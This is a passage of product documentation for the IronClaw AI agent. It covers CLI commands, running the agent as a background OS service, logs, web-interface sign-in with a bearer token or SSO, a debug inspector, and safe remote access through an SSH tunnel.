`ironclaw hooks list` | *Not implemented yet* — reports that and exits | | `ironclaw channels list` | *Not implemented yet* — reports that and exits | | `ironclaw logs` | *Not implemented yet* — reports that and exits | Add `--verbose` to `skills list` for extra detail. Activating an extension that needs credentials starts its setup flow. Complete that from **Extensions** in the [web interface](/using/webui), which is also where you connect channels while `channels list` remains unimplemented. For service logs, read the files directly — see [Run as a Service](/using/service#logs). *** ## Running as a Service | Command | What it does | | - | - | | `ironclaw service install` | Install the OS service (launchd or systemd) | | `ironclaw service start` | Start the installed service | | `ironclaw service stop` | Stop the running service | | `ironclaw service restart` | Restart, or start if stopped | | `ironclaw service status` | Show service status | | `ironclaw service uninstall` | Remove the service and its unit file | See [Run as a Service](/using/service). `service` subcommands do not work on a NEAR AI hosted instance — there is no user service manager for them to drive. Restart a hosted agent from the [Agent Dashboard](https://agent.near.ai/) instead. *** ## Trace Commons `ironclaw traces` manages optional, redacted contribution of your agent traces. It is off until you explicitly opt in. | Command | What it does | | - | - | | `ironclaw traces status` | Show your current contribution policy | | `ironclaw traces opt-in` / `opt-out` | Turn contribution on or off | | `ironclaw traces preview ` | Preview a redacted contribution envelope | | `ironclaw traces submit` / `enqueue` / `flush-queue` | Submit contributions | | `ironclaw traces queue-status` | Show local queue diagnostics | | `ironclaw traces credit` | Show credit totals and explanations | | `ironclaw traces list-submissions` / `revoke` | Review or withdraw past contributions | | `ironclaw traces enroll-instance` | Enroll an entire instance with an operator invite link | | `ironclaw traces profile set` / `withdraw` / `token` | Manage the optional public community profile | | `ironclaw traces ingest-health` | Check an ingestion service health endpoint | See [Trace Commons](/capabilities/traces). *** ## Shell Completion | Command | What it does | | - | - | | `ironclaw completion --shell ` | Print a completion script for `bash`, `zsh`, `fish`, `elvish`, or `powershell` | ```bash theme={null} ironclaw completion --shell zsh > "${fpath[1]}/_ironclaw" ``` # Run as a Service Source: https://docs.ironclaw.com/using/service Keep IronClaw running in the background IronClaw can install itself as an OS-native background service so the agent keeps running after you close your terminal and starts again when you log in. The installed unit runs `ironclaw serve`. * **macOS** — a launchd user agent labelled `com.ironclaw.reborn` in `~/Library/LaunchAgents` * **Linux** — a systemd user unit in `~/.config/systemd/user` This page does not apply to a **NEAR AI hosted instance**. `ironclaw service` talks to a user service manager (`systemctl --user`), which a hosted instance doesn't provide, so every `service` subcommand fails there — including `restart`. On a hosted instance the agent is already running and is managed for you. Start, stop, and restart it from the [Agent Dashboard](https://agent.near.ai/). SSH is for running `ironclaw config` and other read-only commands, not for lifecycle control. [Onboarding](/onboard) offers to do this for you in an interactive session. You can also manage it directly. *** ## Managing the Service ```bash theme={null} ironclaw service install ironclaw service start ironclaw service status ``` | Command | What it does | | - | - | | `install` | Write the unit file and register it with the OS | | `start` | Start the installed service | | `stop` | Stop the running service | | `restart` | Stop then start, or just start if it isn't running | | `status` | Report whether the service is installed and running | | `uninstall` | Stop the service and remove its unit file | `restart` errors if the service isn't installed, rather than silently installing it. *** ## Logs The service writes its output to your IronClaw home: ```bash theme={null} tail -f ~/.ironclaw/reborn/logs/serve.stdout.log tail -f ~/.ironclaw/reborn/logs/serve.stderr.log ``` Raise the log level with `IRONCLAW_REBORN_LOG` before starting the service: ```bash theme={null} IRONCLAW_REBORN_LOG=debug ironclaw service restart ``` *** ## Reaching the Agent The service runs `serve` with your configured host and port, so the web interface is at `http://127.0.0.1:3000` unless you changed it. Set the port in your configuration file rather than on the command line, since the unit doesn't take flags: ```toml theme={null} [webui] listen_port = 3100 ``` ```bash theme={null} ironclaw service restart ``` The service runs as your user, not as root, so it has access to the same OS keychain entry that holds your master key. On a headless host without a keychain, supply `IRONCLAW_REBORN_SECRET_MASTER_KEY` in the service environment instead. *** ## Troubleshooting If the service starts and immediately stops, run the same command in the foreground to see the error: ```bash theme={null} ironclaw doctor ironclaw serve ``` The most common cause is a foreground `ironclaw serve` still holding the port — the service runs `serve` itself, so only one of them can bind at a time. Stop the foreground process and start the service again. Other causes are a missing inference provider credential, or a master key that can't be read because the keychain is locked. # Web Interface Source: https://docs.ironclaw.com/using/webui Chat with your agent and manage it from the browser `ironclaw serve` starts the web interface — the primary way to use IronClaw. It runs on your own machine and serves the chat, extension management, and settings surfaces. ```bash theme={null} ironclaw serve ``` By default it binds to `127.0.0.1:3000`, which is reachable only from the local machine. | Flag | Default | Purpose | | - | - | - | | `--host` | `127.0.0.1` | Interface to bind | | `--port` | `3000` | Port to listen on; `0` picks any free port | | `--confirm-host-access` | off | Required by the `local-dev-yolo` profile to confirm host filesystem access | Both `--host` and `--port` override `[webui].listen_host` and `[webui].listen_port` in your configuration file. *** ## Signing In Setup writes a bearer token to `~/.ironclaw/reborn/webui-token` and prints a login link: ``` http://127.0.0.1:3000/login?token= ``` Open that link once and the browser keeps the session. To retrieve the token later: ```bash theme={null} cat ~/.ironclaw/reborn/webui-token ``` Set `IRONCLAW_REBORN_WEBUI_TOKEN` to supply your own token instead of the generated file. The token grants full operator access, including configuration changes. Treat it like a password and don't put it in a shared shell history or a URL you paste somewhere. ### Single Sign-On For deployments with more than one person, IronClaw can authenticate through Google or GitHub instead of a shared token. Configure a provider with environment variables: ```bash Google theme={null} export IRONCLAW_REBORN_WEBUI_BASE_URL=https://ironclaw.example.com export IRONCLAW_REBORN_WEBUI_GOOGLE_CLIENT_ID=... export IRONCLAW_REBORN_WEBUI_GOOGLE_CLIENT_SECRET=... # Optional: restrict to one Google Workspace domain export IRONCLAW_REBORN_WEBUI_GOOGLE_ALLOWED_HD=example.com ``` ```bash GitHub theme={null} export IRONCLAW_REBORN_WEBUI_BASE_URL=https://ironclaw.example.com export IRONCLAW_REBORN_WEBUI_GITHUB_CLIENT_ID=... export IRONCLAW_REBORN_WEBUI_GITHUB_CLIENT_SECRET=... ``` Restrict which accounts may sign in with `IRONCLAW_REBORN_WEBUI_ALLOWED_EMAIL_DOMAINS`. The `export` lines above are shown for clarity. Don't type the client secret into an interactive shell in production — it persists in shell history and is visible to child processes. Inject these from your service unit, container runtime, or secret manager. Sign-in sessions carry user identity only. They do not inherit operator configuration privileges — the bearer token remains the separate operator credential. A signed-in user who is not an operator sees a permission error on configuration surfaces rather than the surface itself. *** ## What's In the Interface The default view. Conversations stream as the agent works, showing tool calls and their results inline. You can cancel or retry a run, and approve requests when the agent asks permission to do something sensitive. Browse the files and notes your agent has stored. See [Memory](/capabilities/memory/memory) for how the agent reads and writes this. Recurring and event-driven work the agent performs on its own. See [Routines](/capabilities/routines/cron). Install, configure, and remove extensions, split into a registry of available packages, your connected channels, and the tools each extension exposes. See [Extensions](/extensions/overview). Configure inference providers and models, appearance, tool permissions, skills, Trace Commons participation, and interface language. User management and deployment configuration. Only available to operators; authorization is enforced on the server, so non-operators get a permission error rather than the page. ## Inspecting a Run Operators can open the Web Debug Inspector by adding `debug=true` to a chat URL: ```text theme={null} http://127.0.0.1:3000/chat/?debug=true ``` The panel shows three views: * **Prompt** — the bounded prompt assembled by the host, including components, active skills, model selection, and estimated context use. * **Activity** — ordered model and tool lifecycle events. Previous, next, and latest buttons navigate runs observed for this thread during the browser session. * **Stats** — available token, latency, model-call, and tool-call totals, plus browser-observed stream state, reconnects, update count, and last update. Expand a completed or failed tool activity to fetch its sanitized arguments and output from the dedicated operator endpoint. Tool output is limited to 50 KiB and displays its original byte size when truncated. Prompt and tool detail may contain sensitive user data even after secret scanning, so use this view only while diagnosing a run and do not copy it into public bug reports. The inspector is available only to operator sessions and is hidden on mobile. If it reports **Forbidden**, sign in with the local operator token rather than an SSO user session. **Unavailable** or an empty historical turn usually means the process restarted or bounded in-memory evidence was evicted. A temporary **Reconnecting** state does not affect chat; the stream resumes from its last cursor or refreshes the bounded snapshot when retained history is no longer available. The opt-in is remembered for the browser tab, so it survives route changes and reloads. Use `?debug=false` to clear it and return to the ordinary chat layout — simply dropping `debug=true` from the URL leaves the stored opt-in in place. The inspector is diagnostic only: opening, closing, or navigating it never changes a run. Projects, Jobs, Routines, Missions, and Logs have pages in the interface but are not yet listed in the sidebar while their APIs are being finished. The underlying capabilities work — see the [Capabilities](/capabilities/overview) section. *** ## Exposing It Beyond Your Machine `serve` binds to loopback on purpose. To reach it from elsewhere, either bind a different interface or put it behind a tunnel: ```bash theme={null} ironclaw serve --host 0.0.0.0 --port 3000 ``` Binding a non-loopback interface makes the web interface reachable by anything that can route to the host. Put it behind TLS and configure single sign-on before you do this — a shared bearer token on an open port is a full compromise of the agent and every credential it holds. A safer path that opens no port at all is an SSH tunnel from the machine you're browsing from: ```bash theme={null} ssh -N -L 3000:127.0.0.1:3000 you@your-host ``` Then open `http://127.0.0.1:3000` locally. Every command the binary provides. Keep IronClaw running in the background.